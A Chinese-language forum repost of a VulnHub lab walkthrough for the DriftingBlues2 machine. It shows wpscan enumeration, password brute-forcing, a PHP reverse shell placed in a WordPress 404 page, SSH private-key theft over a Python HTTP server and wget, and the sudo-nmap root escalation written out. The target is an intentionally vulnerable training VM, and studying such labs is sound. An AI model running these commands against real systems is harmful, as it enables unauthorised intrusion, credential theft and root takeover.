前进之路 发表于 2022-12-6 00:06:29

vulnhub靶场渗透实战12-driftingblues2

​vbox导入,网络桥接。
靶机下载地址:https://download.vulnhub.com/driftingblues/driftingblues2.ova
 一:信息收集

1;主机发现。

https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205103630911-340501829.png
 2;开放服务端口。ftp匿名登录。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205103830798-1760231946.png
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205104837862-2102451218.png
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205104103018-1021635378.png
  3;ftp匿名登录的一张图片。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205105725849-1169936207.png
 4;把图片复制到kali里面,利用工具steghide 查看一下图片里的信息,需要密码,emmmm,什么都没有。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205135132110-1210361193.png
 5;没发现其他,我们目录遍历一下。

https://img-blog.csdnimg.cn/1f73fb41e7684c278ba3e1839e0bd811.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif

nikto -h http://192.168.1.23新扫描目标站点下有无目录的工具https://img-blog.csdnimg.cn/53254cf6a2424d3d89b6c267fd634e5a.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif

 6;一个登录框。添加本地host,因为/blog源码里面有个域名。

192.168.1.23 driftingblues.box
https://img-blog.csdnimg.cn/2b208553bfd0453fb7c3d339604ccd32.png

 ​
6;一个登录框。添加本地host,因为/blog源码里面有个域名。by albert?可能是用户名。

192.168.1.23 driftingblues.box,在hosts添加。
https://img-blog.csdnimg.cn/2b208553bfd0453fb7c3d339604ccd32.png

https://img-blog.csdnimg.cn/a4ac0f410bfa408d932666d6d8a85625.png

 那就用wp-scan工具扫描一下有没有用户名或者可利用的插件。确定是albert是用户名。
wpscan --url http://192.168.1.23/blog/ -e u https://img-blog.csdnimg.cn/9d95ac9c7fb244ff9b241ba5d84fcd8b.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif

 7;爆破一下这个用户的密码。albert/scotland1

wpscan --url http://192.168.1.23/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames alberthttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205140607387-1236235808.png​ 8;登录成功。https://img-blog.csdnimg.cn/a630f5f5e4234ff7a9def1b2ae7f96ed.png

 二;漏洞利用

1;往404页面写个PHPshell进去,保存,凯莉开启监听,访问一个不存在的路径。

https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205151914923-2038729554.png
 2;监听成功。升级一下shell。

https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205152657724-1233356155.png
 
 
  3;在home目录下发现一个freddie用户,还发现了.ssh的文件,进入 .ssh 文件夹,发现存在公私钥信息文件,且私钥文件可读可执行。
​https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205155526761-1872990692.png
可以直接复制粘贴到文件上去。
https://img-blog.csdnimg.cn/08b7fcc285f34a47934d0fdddcee7cd4.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif

也可以开服务,卡莉下载私钥文件。
python2 -m SimpleHTTPServer 9998

wget http://192.168.1.23:9998/id_rsa https://img-blog.csdnimg.cn/c8266ab1753e4970b440ecebc387a917.png

 4;利用私钥文件,登录freddie用户,

https://img-blog.csdnimg.cn/96c31d9f2ce84c8db26c970b25de2f66.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif​
 5;看到有root权限,nmap提权。提权成功,两个flag。

https://gtfobins.github.io/查找nmap
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TFhttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gifhttps://img-blog.csdnimg.cn/7e03f1f12dce461da2850009c3806424.png

 https://img-blog.csdnimg.cn/93a2617ffb3f49ce84fee75dc4dd4ee6.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173309963-2015153120.gif

​使用 python 切换 bash:python3 -c 'import pty; pty.spawn("/bin/bash")'
 https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221205173211120-1854344981.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: vulnhub靶场渗透实战12-driftingblues2